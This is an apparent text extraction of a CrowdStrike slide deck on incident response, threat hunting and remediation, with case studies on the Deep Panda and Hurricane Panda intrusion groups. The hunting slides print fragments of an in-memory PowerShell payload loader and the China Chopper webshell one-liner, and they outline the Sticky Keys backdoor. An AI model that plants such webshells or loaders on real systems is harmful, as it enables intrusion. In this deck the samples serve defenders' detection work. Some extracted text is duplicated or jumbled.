THE NEW STATE OF INCIDENT RESPONSE

REMEDIATING UNDER FIRE

Wendi Rafferty, Vice President of CrowdStrike Services

Christopher Scott, Director of Remediation CrowdStrike Services
• Introductions
• Adversaries and Targets
• IR Evolution and Best Practice
  • Hunting
  • Remediation
• Case Studies
• Wrap-up and Questions (Questions ANYTIME)
WENDI RAFFERTY
VP, CROWDSTRIKE SERVICES

12+ YEARS
Incident response experience, including a career as an Air Force OSI Special Agent

PRIOR TO CROWDSTRIKE
Managing Director for Mandiant's Los Angeles office. Led a team of consultants that responded to breaches all over the world

CONNECT
LINKEDIN: Wendi Rafferty
TWITTER: @WendiLou2
INTRODUCTIONS

Defended networks for the Defense Industrial Base

PRIOR TO CROWDSTRIKE

Conducting security assessment, incident response, insider threat analysis, and security architecture.

CONNECT

17+ YEARS

PRIOR TO CROWDSTRIKE

Defended networks for the Defense Industrial Base

CONNECT

LINKEDIN: Christopher Scott
TWITTER: @NetOpsGuru

CHRISTOPHER SCOTT
DIRECTOR OF REMEDIATION
ADVERSARIES AND TARGETS
**UNCOVER THE ADVERSARY**

**CHINA**
- **Comment Panda**: Commercial, Government, Non-profit
- **Deep Panda**: Financial, Technology, Non-profit
- **Foxy Panda**: Technology & Communications
- **Anchor Panda**: Government organizations, Defense & Aerospace, Industrial Engineering, NGOs
- **Impersonating Panda**: Financial Sector
- **Karma Panda**: Dissident groups
- **Keyhole Panda**: Electronics & Communications
- **Poisonous Panda**: Energy Technology, G20, NGOs, Dissident Groups
- **Putter Panda**: Governmental & Military
- **Toxic Panda**: Dissident Groups
- **Union Panda**: Industrial companies
- **Vixen Panda**: Government

**RUSSIA**
- **Energetic Bear**: Oil and Gas Companies

**IRAN**
- **Magic Kitten**: Dissidents
- **Cutting Kitten**: Energy Companies

**INDIA**
- **Viceroy Tiger**: Government, Legal, Financial, Media, Telecom

**CRIMINAL**
- **Singing Spider**: Commercial, Financial
- **Union Spider**: Manufacturing
- **Andromeda Spider**: Numerous

**NORTH KOREA**
- **Silent Chollima**: Government, Military, Financial

**HACTIVIST/TERRORIST**
- **Deadeye Jackal**: Commercial, Financial, Media, Social Networking
- **Ghost Jackal**: Commercial, Energy, Financial
- **Corsair Jackal**: Commercial, Technology, Financial, Energy
- **Extreme Jackal**: Military, Government
INCIDENT RESPONSE & HUNTING

EVOLUTION AND BEST PRACTICE
EVOLUTION OF INCIDENT RESPONSE

Long Long Ago:
- Remove affected machine from network immediately
- Collect data from one machine at a time

Not So Long Ago:
- Automation!
- Search for indicators of compromise
- Clean entire network before beginning to remediate

Today:
- Track attackers and actively hunt for them in real-time
- Search for indicators of attack
- Begin posturing for remediation on Day 1 of IR
We need a shift in detection capabilities from indicators of compromise to **Indicators of Attack**

**INDICATORS OF ATTACK**

**REACTIVE** Indicators of Compromise

- Code Execution
- Persistence
- Stealth
- Command/Control
- Lateral Movement

**PROACTIVE** Indicators of Attack

- Malware Signatures
- Exploits
- Vulnerabilities
- IP Addresses

**TRACKING HUMAN ADVERSARIES** Requires New Ways of Detection
HUNTING THE ADVERSARY

• Types of Hunting
  – Network
  – Servers
  – Workstations
  – Malware vs Adversary

• Challenges with Hunting
  – Memory Resident Malware
    • PowerShell
  – Encryption Techniques
  – Malware Free Attacks
    • Sticky Keys – Yes It’s Back with Other Similar Techniques
    • WebShells
MEMORY RESIDENT MALWARE

• Challenges
  – Must “sweep” when malware is running
  – No disk forensics
  – New attacks are launching remotely from other machines
  – PowerShell techniques (More on this shortly)

• Ways to Hunt
  – WMI Events in Log Files
    • Attackers are clearing these logs now
    • Could clearing all the event logs files using the CLI be an IOA?
POWERSHELL FUN

```powershell
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {[true]
$wc.Headers.Add("Accept-Language", "en-US,en;q=0.9" + ([int]::Size - 1).ToString())
$wc.Headers.Add("User-Agent", "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0")
$mdn = Get-Random
$wc.Headers.Add("Cookie", "pc=" + $mdn)
$Passphrase = "CustomPassPhrase"
$ salts = "CustomSalt"
$pass = [System.Text.Encoding]:UTF8.GetBytes($Passphrase)
$salt = [System.Text.Encoding]:UTF8.GetBytes($salts)
$S = $r.CreateDecryptor()
$sms = new-Object IO.MemoryStream @($data)
$sout = new-Object System.IO.MemoryStream
$buffer = new-object byte[] 4096
[int] $count = 0

do
{
    $count = $dfs.Read($buffer, 0, $buffer.Length)
    $sout.Write($buffer, 0, $count)
} while ($count -gt 0)
$sdfs.Close()
$sds.Close()
$sms.Close()
$r.Clear()
$byte[] $bin = $sout.ToArray()
$sa = New-Object -TypeName System.Collections.ArrayList
$sa.Add($xags)
$asm = [System.Reflection.Assembly]::Load($bin)
$asm.EntryPoint.Invoke($null, $sa.ToArray())
sleep 5
exit
```
POWERSHELL FUN

- Encryption Routine

```powershell
$wc.Headers.Add("Cookie", "p=" + $rmdn)
$Passphrase = "CustomPassPhrase"
$salts = "CustomSalt"
$pass = [System.Text.Encoding]:.UTF8.GetBytes($Passphrase)
$d = $r.CreateDecryptor()
```
POWERSHELL FUN

• Load to Memory

```powershell
$ms = new-Object IO.MemoryStream @($data)
$dfs = New-Object System.IO.Compression.GzipStream $cs, ([IO.Compression.CompressionMode]::Decompress)
$msout = New-Object System.IO.MemoryStream
[Byte][]]$buffer = new-object byte[] 4096
[int]$count = 0
do
{
    $count = $dfs.Read($buffer, 0, $buffer.Length)
    $msout.Write($buffer, 0, $count)
} while ($count -gt 0)
$dfs.Close()
$cs.Close()
$ms.Close()
```
WEBSHELL TECHNIQUES

• Webshells on Internal Systems
  – Exchange Server
  – Using your SSL certificates against you

• Which of these is the Chopper WebShell?
  – <%= Page Language="Jscript"%><%=eval(Request.Item["password"]."unsafe");%>
  – <%=WebService.InitalizeWebServices("Citrix.Systems.lme");%>
MALWARE FREE ATTACKS

• Already Covered Webshells
• Remote Desktop
  – Sticky Keys (SETHC.EXE)
    • Debugger
    • Replace cmd.exe for sethc.exe
  – On Screen Keyboard, Utility Manager, Magnifying Glass, Narrator
    • Debugger
REMEDICATION

GETTING BACK TO “NORMAL”
STAGES OF REMEDIATION

POSTURING

COORDINATED REMEDIATION EVENT

POST-REMEDICATION ACTIVITIES
KEY REMEDIATION CONTROLS

• Privileged Account Control
  – Accounts are expired when not in use, unique daily passwords
  – Force adversaries to cross “trip wires”
  – Layered Accounts
    • Domain Admins
    • Server Admins
    • Workstation Admins

• No “Lord of the Rings” Account
  – No one account to rule them all!
KEY REMEDIATION CONTROLS

• Application Controls
  – Software Restriction Policies – Do You Use These?
  – AppLocker

• Local Administrator Accounts
  – Must be a Local Administrator to steal a Credential
KEY REMEDIATION CONTROLS

• Push vs Pull Software Configurations
  – No single account with access to every machine
  – Challenge when someone tells you it is best practice
  – SCCM Best Practice allows for this configuration

• Why Would You Allow a Vendor to Dictate Your Security Posture?
  – Just for my software – “My Precious”
KEY REMEDIATION CONTROLS

• Signed Scripts
  – The amount of “power” in PowerShell should force this
  – Powercat anyone???
    • Netcat in PowerShell
    • DNS C2 option
    • File upload/download

• Repeat After Me – “Signed Scripts”
KEY REMEDIATION CONTROLS

• Do You Really Know? Don’t Be a “Target”!
  – Is that .ASPX file a system file?
  – Does that one line of code call a malicious DLL?
  – Ask questions
  – Test theories
  – Understand alerts

• Repeating – Ask Questions, Ask Questions, Ask Questions
  – If it doesn’t look right, it likely isn’t

• Is All Hope Lost?
THE NETWORK PERIMETER IS _______?
HOST VISIBILITY - THE NETWORK PERIMETER IS SHRINKING

• Tough Outer Shell
  – Moving more towards servers
  – Workstations are outside of the perimeter

• M&M Networks Have Changed
  – The Gooey Center is outside of the hard candy shell
  – Security is “melting” along with it

• What is Needed?
  – Real-time monitoring
  – Any-where monitoring
  – Adversary TTP focused – not malware focused
CASE STUDY

DEEP PANDA
Forces attackers to change behaviors

Not all behaviors change - good intel and pattern analysis can identify the new TTPs

Analysts need the ability to tailor intel and extract relevance via tools and skillsets

Understanding your adversaries helps you gain focus and understand what intel is relevant
# Case Study: Deep Panda

<table>
<thead>
<tr>
<th>Attacker TTP</th>
<th>Historic Trends</th>
<th>New Trends</th>
</tr>
</thead>
<tbody>
<tr>
<td>Initial Attack Vector</td>
<td>Spearphish and Vulnerable External Facing Applications (Most Common)</td>
<td>No Significant Changes - Why change if it still works?</td>
</tr>
<tr>
<td>Malware - Persistence Mechanism</td>
<td>Installed as Service, Run Key, etc.</td>
<td>No Persistence</td>
</tr>
<tr>
<td>Malware - Command &amp; Control</td>
<td>Beacon to malicious IP or Domain</td>
<td>No Standard Beacon Activity</td>
</tr>
<tr>
<td>Malware - Functionality</td>
<td>Simple functionality (provide shell or basic upload/download functionality)</td>
<td>Memory resident - robust Functionality</td>
</tr>
<tr>
<td>Lateral Movement</td>
<td>Net Use, RDP or utilities (PSEexec)</td>
<td>WMI, Service Accounts - Evade Logging and blend in</td>
</tr>
<tr>
<td>Obfuscation</td>
<td>Time Stamp Standard Times (Windows API)</td>
<td>Time Stamp both Standard and File times (Windows API and MFT)</td>
</tr>
<tr>
<td>Data Extraction</td>
<td>Compress data and send to compromised host provider</td>
<td>No Significant Changes</td>
</tr>
</tbody>
</table>
CASE STUDY: DEEP PANDA

CUSTOMER #1 INVESTIGATION COMMENCES TRADITIONAL TACTICS

FEBRUARY 2013

INTEL COMMUNITY SHARES TTPS SHARED WIDELY

CUSTOMER #1 PARTIAL REMEDIATION LOGGING & MONITORING OLD TACTICS

MARCH 2013

CUSTOMER #1 RE-COMPROMISED NEW TTPS

APRIL 2013

CUSTOMER #2 INVESTIGATION COMMENCES NEW TACTICS
CASE STUDY

HURRICANE PANDA
ADVERSARY USE OF WEBSHELLS

• What is a WEBSHELL?
  – Remote access to a system using a web browser
  – Can be ASP or PHP or any other web scripting language

• Simple Code:
  – `<%@ Page Language="Jscript"%><%eval(Request.Item["password"],"unsafe");%>`

• Complex Code:
  – Greater than 1200 lines of C# code
ATTACKER MOVEMENTS OVERVIEW

(1) Webshells
(2) Escalation to Domain Admin
PWDUMP, WCE, TeamViewer
(3) Additional Credential Harvesting

External Site

IIS Admin

DB

Host 1

End Users

Exchange OWA Webshells

DCs

Host 3

IIS Admin

DCs

Host 2

Internal Domain
ACTIVE ATTACKER ACTIVITY

• Attack Attempted Access Overnight
  – Detected by CrowdStrike CSOC Team via Endpoint Activity Monitoring
  – Communicated with Customer SOC
  – Systems Removed from Network as Attackers Accessed Them

• Target
  – Appears to be Targeting Critical Data Areas
  – Continued Attempts Suggest They Have Not Succeeded
ATTRIBUTION: HURRICANE PANDA

• Customer incident identified and reported following adversary communication with web based backdoor

• Extensive incident investigation identified impacted systems and resulted in successful remediation event

• Intelligence analysis identified a new adversary attributed to China now designated as HURRICANE PANDA

• CrowdStrike Intelligence continues to monitor and investigate Hurricane Panda and has identified at least one other victim
OVERVIEW: HURRICANE PANDA

• Infrastructure:
  – ISP: DNS to resolve popular domains
  – Critical Infrastructure: Use of non-routable IPs to access Chopper webshell

• Capabilities:
  – Theft of Signing Certificates: Used to sign malware to help evade detection
  – Remote Access Tools: Use of malware and webshells for remote access
  – Escalation: Privileges and lateral movement with credential dumping tools
  – Exfil: Usage of FTP to send data out of an organization

• Targets:
  – Technology
CURRENT STATUS

• Environment Monitoring
  – Real-time monitoring workstations and servers
    • Process trees (IOA) reveal usage of webshells and attacker activity
  – SOC monitoring for malicious alerts and responding as necessary
THE SHIFT IN ATTACKER TTPS IS A DIRECT RESULT OF BETTER INCIDENT RESPONSE TEAMS AND INCREASED SHARING OF INDICATORS AND INTELLIGENCE.
AN ORGANIZATION’S SUCCESS WILL BE MEASURED BY THE ABILITY TO DETECT, RESPOND, AND MITIGATE INDICATORS OF ATTACK
For additional information, please contact: services@crowdstrike.com